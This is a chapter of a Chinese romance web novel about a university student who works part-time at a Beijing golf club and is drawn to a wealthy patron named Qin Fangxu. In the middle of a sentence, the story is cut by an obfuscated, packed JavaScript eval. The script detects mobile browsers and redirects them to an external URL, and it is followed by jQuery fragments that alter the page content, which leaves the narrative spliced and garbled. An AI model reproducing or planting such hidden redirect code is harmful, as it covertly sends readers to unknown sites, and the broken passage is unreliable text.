10月8日。


    国庆假期结束后的第一天，寒露。


    今年的第十七个气节，冷空气大面来袭，干冽的秋风猛烈、狂躁。


    京郊有家金冈高尔夫俱乐部，私人球场。


    邹涵国庆没有回家，就在这里兼职。


    原本国庆放七天，碰上了假前院里老师因为私事调课了，所以邹涵有八天假。


    傍晚，正是换班点。


    更衣室的换衣间里，断断续续地传出接打电话的声音。


    “您别乱打，电视上那些广告都是骗话费的。”


    邹涵将电话抵在下巴和肩颈处，双手忙着换衣服。


    电话里邹母又较真地说了几句，邹涵只好耐着性子地继续劝道：“妈，哪有这么神，要真这么管用，那些资本家不个个长命百岁。”


    “您有那钱不如每个月给我多涨点生活费。”


    ……


    “行，我回头看看，您别自己乱打电话买。”


    说着，女人抬头扫了眼墙上的钟表，眼瞅着快到时间了，于是匆匆忙忙地结束了电话。


    她赶着时间快速换好衣服后，就出了更衣室。


    邹涵是去年秋天来的俱乐部。


    有课的时间她不来，一般是节假日和周末她才会过来兼职。


    工作日常很简单，就是负责捡球。这儿节假日日薪很高，两百一天，但也累，连着捡几天球后，后腰会酸痛到麻木的程度。


    十月过后，天色暗沉得越来越早。


    阴霭的夜雾天，过了六点，城市的光亮由四面八方的璀璨霓虹簇拥点起。


    更衣室出来后，昏暗的走廊弯弯绕绕。


    光影密布下，深灰的墙壁上密密麻麻的细长花纹似一条条吐信的毒蛇，伺机而动。


    淡淡的烟草味在空气中蔓延得若有似无，拐过角，邹涵就注意到窗口前的男人。


    是个身量修长的男人，他背对着她，单手抄兜，正在打电话，和电话那头的人有一句没一句地聊着，嗓音清沉。


    窗外的场灯从外头照来，将地面上他的身影拉得极长。


    风自窗口涌进，拂动他的短发，男人指间的香烟的火星燃得欲旺。


    电话那头的人不知道说了什么，引得他唇角溢出两声笑意。


    邹涵顿了大概七八秒，随后她走了过去。


    隔着大概两三米远，她停下，温声提醒道：“先生，打扰一下，吸烟区在您左手边尽头。”


    闻声，他转过身来，抬手放在耳侧的手机一时却并没有拿开。


    邹涵认得他，每个周有那么一天，差不多也是这个时间点，老板都会和几个朋友过来开夜场，那些人里，他是其中一位。


    “不好意思，我不知道是您。”


    昏黄的光晕圈圈缠绕在女人周遭，她礼貌微笑道歉时，盘好的头发有一缕发丝恰好从耳后抚过脸颊，落到白皙纤细的脖颈处。


    “没事。”他淡淡回了句。


    男人眉间透着丝丝不悦，很微小的幅度，但邹涵还是觉察到了。


    微不足道的一个小插曲过后，他转身继续和电话里的那头闲聊。


    随即邹涵也离开了。


    -


    今天是假期结束返校的最后一天，学生基本都回来了，寝室楼里热闹不少。


    晚上十一点半，邹涵踩着宿舍阿姨锁门的点回来的。


    今年她们才大二，学校对早出晚归管得比较严，免不了被宿舍阿姨唠叨几句。


    听见开门的声响，赵佳佳揭开帘子探出头来，见是邹涵，她欢呼一声：“我还以为你去你姑姑家也不回来了呢。”


    邹涵的亲姑姑在北京，她时不时地会去姑姑家吃饭。


    “没有，刚下班。”


    赵佳佳惊讶：“你还在兼职啊？”


    “嗯。”邹涵疲惫地应了声。


    “只有你在吗？”她看了眼宿舍。


    赵佳佳咬着笔盖，耸耸肩：“不然呢，那俩人什么性子你还不知道啊，放假前我就听李悦炫耀说自己要跟男朋友去北海道玩半个月，应该是请假了吧。”


    她语气稍顿，“至于林大小姐，她能回来就成稀罕事儿了······”


    邹涵走到自己的床位边上，将包放在挂钩上。


    “那你现在要睡觉吗？”


    “睡不了，赶作业呢，这几天玩嗨了，要不是学委提醒，我都忘记明天是ddl。”赵佳佳说。


    “好，那我去洗澡。”


    见邹涵要去卫生间，赵佳佳连忙叫住她，“邹涵，你作业借我看下呗。”


    “在我书桌上，你自己拿吧。”


    “谢了啊。”


    国庆假期之后，就是死亡星期。


    院里的领导不知道是怎么排课的，好几天早八点和晚十都放一起，够磨人心性，大概是认为这样的方法能让学生从假期里快速收心。


    赵佳佳不止一次跟邹涵抱怨，无非是说羡慕林雨欣和李悦，林雨欣她们系排课人性化，碰不上早八和晚十，李悦呢，有个男朋友愿意花钱带她出去玩不用回来上课。


    说这话时，赵佳佳和邹涵刚吃完饭回宿舍，好赖不赖地被偶尔来寝室补午觉的林大小姐听到了。


    听到隔壁床冷不丁地传出声音时，赵佳佳吓得钥匙都掉在了地上。


    “就是一卖/肉的，不知道有什么好羡慕，要都成她这样……北海道那地儿都能挤死人。”


    林雨欣嘴特毒，损人一套一套的。


    自小娇生惯养长大的大小姐，从来不晓得“人情世故”四个字怎么写。


    邹涵和赵佳佳不约而同地相识一眼，前者没有说话，后者注意到林雨欣桌子上放着的新包，眼尖得连忙岔开话题：“呀！雨欣！你又换包啦？这个颜色好好看啊！”


    林雨欣脑袋往外挪出来瞟了眼：“凑合吧，我妈挑的，就是它家版型有点老气。”她不以为意道。


    “哪有，好看得嘞。”


    赵佳佳没有乱说，是觉着那包好看，她在最新的杂志封面上看到过，模特就是背的这款。


    瞧赵佳佳双眼放光那模样，林雨欣也不含糊：“你喜欢？那你拿去背两天。”


    赵佳佳惊喜地刚要道谢，但转念一想还是觉得不太好。


    她表情惋惜地摇摇头：“算了，我怕给你不小心蹭花了。”


    林雨欣觉着没意思，又把身子缩回了床上，“给你机会了，你自己不要。”


    “没关系，你想着我就成。”


    听她俩聊得热络，邹涵的视线不由自主地跟着移了过去。


    新款。


    爱马仕Kelly，togo皮金棕色。


    十月下旬开始，北京连着下了一周绵绵密密的小雨。


    马路上的红绿灯闪烁交叠着，城市的每个角落渗出灰蒙湿漉的味道，卡成镜头像是电影里惯用的蒙太奇。


    又是周末。


    邹涵去了俱乐部兼职。


    或许是因为下雨，今天来俱乐部的客人量比起以往更是冷淡。


    连日的小雨对球场有些影响，经理说这两天老板要来，于是找了人来修缮。


    没有事情做，邹涵就在窗前站了半小时，看着工人们推着机器，在雨里补草。


    雨幕里，机器发出低频的白噪音，恬静得似是远离城市喧嚣的雨后天青。


    临下班的时候，老板来了，还有他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14744752|157559||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那几位熟脸的朋友。


    听两个同事说，这家俱乐部的老板叫张家佑。


    张老板，一个年纪轻轻且游手好闲的富二代。他原先只是股东，后头俱乐部生意不好，原来的老板不做了，他就自己盘了下来，撒了把大钱，规模倒是整得有模有样的。


    天气不好，他们那群人没兴致玩球，直接进包厢开了桌牌。


    “你三天两头把我们往你这地儿领，敢情钱都挣自家人的。”


    坐沙发上打趣这话的男人是林承言，本就生得一副文质彬彬的模样，平日里又戴着副无框眼镜，看着气质更是儒雅。


    张家佑嬉皮笑脸地笑了两声：“瞧二哥您这话说的，我还能亏了您不成？”


    “你小子，有点头脑全费这些乱七八糟的事情上了。”


    张家佑不服气：“二哥你这话我就不乐意听了啊，什么叫乱七八糟的事儿，我这是正经事业，养老保险，指着它过日子呢。”


    林承言无奈笑笑，“你们喽喽他说得什么鬼话。”


    旁人戏语过后也跟着闲聊，“该说不说啊佑子，你这地儿整挺好啊。”


    坐吧台上倒酒的张家佑听这话乐呵，“算你有眼光。”


    “哎绪生，我记得你前两年不是也投了个赛车俱乐部？没跟佑子聊聊心得啊。”


    “早垮了。”


    ……


    经理招呼完张家佑一行人后，从包厢出来，抬眼就瞧见几个闲人杵在后场馆的窗前，开口把她们顺势叫了过来。


    “没事儿做不知道找点事儿做？一个个呆头木脑的，让老板看见成什么样子。”


    站前面的女人下意识地开口就问：“经理，老板来啦？”


    经理虽然没多说，可他自然是将女人心里那些心思看得清楚得很。


    “老板来没来跟你有什么关系，做事儿去。”他不耐烦地挥了挥手。


    就在看着她们转身离开的背影时，男人不知道想到了什么，突然开口把走在末尾的邹涵给叫住，单独留下了她。


    邹涵又倒了回来。


    “经理，是有什么事儿吗？”


    男人等另外几个女人走远些了，才张嘴：“还有位钱先生没到，你去前台候着，眼神动作麻利儿的，人来了领209那包厢。”


    邹涵先是一愣，然后才应声：“好。”


    八点过。


    今日的雨还是没有要停的迹象，场馆外已然是灯火通明的繁华夜景。


    邹涵今天是上的下午班，这个时间，早就过了下班的点。


    经理说的那位钱先生来得很晚，邹涵陪着前台小姐站了将近一小时，钱先生才到。


    等到人后，邹涵客客气气地将他领去了209包厢。


    她走在前面，主动帮钱先生开了包厢门。


    “老钱你还能再磨蹭点不？”里面的见来人戏谑了句。


    “这点儿堵。”有人帮着说。


    “谁让您选这风水宝地，东三环出来差点没堵死在路上。”


    “正好你来了，来来，补上，老子今儿这手气有够挫火儿的。”


    那扇门从打开，再到关上，几秒钟而已。


    邹涵只看见男人英俊的侧脸。


    烟雾缭绕的包厢，他坐在靠里侧，光影落在男人的脸上，纸醉金迷的欢声笑语里，他好像深陷其中，又好像游离边外，眉眼处始终衔着两三分让人琢磨不透的淡然笑意。


    旁人上前来帮他点燃唇上轻咬着香烟，他微微侧容。


    短暂的一瞬间，在邹涵视线里被定格的画面是朦胧模糊的。


    她清楚地听见有人叫他“绪生”。


    绪生。


    他叫秦方绪。